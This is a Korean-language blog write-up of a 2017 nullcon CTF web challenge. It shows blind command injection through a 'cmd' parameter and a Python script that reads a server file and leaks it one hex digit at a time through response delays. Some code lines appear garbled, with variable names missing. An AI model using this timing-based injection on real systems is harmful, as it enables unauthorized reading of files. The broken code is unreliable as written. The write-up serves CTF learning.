CTF | wargame

nullcon17 / Web 3 (curl boolean 공격, 결과를 확인할 수 없는 페이지의 시간차 공격, python shell code 전송)

nopdata 2017. 3. 9. 11:23
date : `17.02

페이지가 하나 주어진다 페이지에 출력되는 내용은 다음과 같다.

At your service. Give me command with cmd, sir. You will get me. str(/home/nullcon/flagpart1.txt) + str/home/nullcon/flagpart2

이 문자열 이외에는 아무런 쿠키값도 없다. cmd를 통해 명령을 보내라고 해서 처음에 get파라미터로 cmd값을 줘 보았으나 아무런 변화가 없었다.
write up을 보니 이 cmd 파라미터를 이용하는 것이 맞긴 한데, 결과를 볼 수 없기 때문에 시간차 공격을 해야 한다. blindsql injection에서 사용했던 시간차 공격과 비슷한듯..
write up 에는 curl -v -d "cmd=yes" http://54.89.146.217/이 중요한 힌트라고 하였는데 curl에 관해서는 조금 알아볼 필요가 있는 것 같다.

cmd파라미터로 명령이 전송 되는지를 확인하는 방법은 sleep을 걸어서 보면 된다. bash 쉘에서 sleep은 'sleep 1'이런 식이기 때문에
'~/?cmd=sleep 5'를 보내보면 응답이 5초 뒤에 오는 것을 확인할 수 있다. 따라서, cmd파라미터로 보내는 메시지가 실행이 된다는 것을 알 수 있다.

이제 쉘 실행을 할 수 있으므로, 위에서 제시된 flag파일을 읽어야 한다. 하지만, 결과를 확인할 수 없으므로 이 결과도 시간차를 이용해야 한다.
write up에서는 파일을 읽어 각 자리의 문자를 hex값으로 변환을 하고 다시 그 hex값의 각 자리를 읽어 어떤 문자인지를 확인하는 방법이다.

write up의 소스코드가 시간을 int단위로 쪼개다보니 결과값이 불확실한 경우가 발생해서 다시 작성해 보았다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests
import time
from pwn import *
 
cmd = """
python -c "
import sys, time;
= open('/home/nullcon/flagpart1.txt').read();
time.sleep(len(s)<%d);
sys.exit(0)
"
""".strip().replace('\n''')
 
 
= 1
chk = True
= log.progress("length ")
while True:
  start = time.time()
  tmp = cmd%i
  r = requests.post('http://54.89.146.217/', data={'cmd': tmp})
  if time.time() - start > 1:
      if chk:
          cnt = i
          chk = False
          i -= 1
      elif cnt == i:
          length = i
          break
  p.status(str(i))
  i += 1
 
p.success(str(i))
 
 
cmd = """
python -c "
import sys, time;
= open('/home/nullcon/flagpart1.txt').read();
= int(s.encode('hex')[{}], 16);
time.sleep(t);
sys.exit(0)
"
""".strip().replace('\n''')
 
 
res = ""
ch = ""
= log.progress("flag ")
for i in range(0,length*2):
  start = time.time()
  r = requests.post('http://54.89.146.217/', data={
    'cmd': cmd.format(i)
  })
  ch += hex(int(time.time() - start))[2:]
  if i%2 == 1:
      res += ch.decode('hex')
      ch = ''
      p.status(res)
 
p.success(res)
cs

먼저 길이값을 확인한 후, 각 자리 아스키값을 읽는 방식이다.

    

[ flagpart1.txt 와 flagpart2.txt 결과 ]

시간 공격이다 보니 반응 문제로 인해 서버 환경에 따라 값이 제대로 날아오지 않는 경우도 있다.

flag : flag{0mgth4tsaniceflag}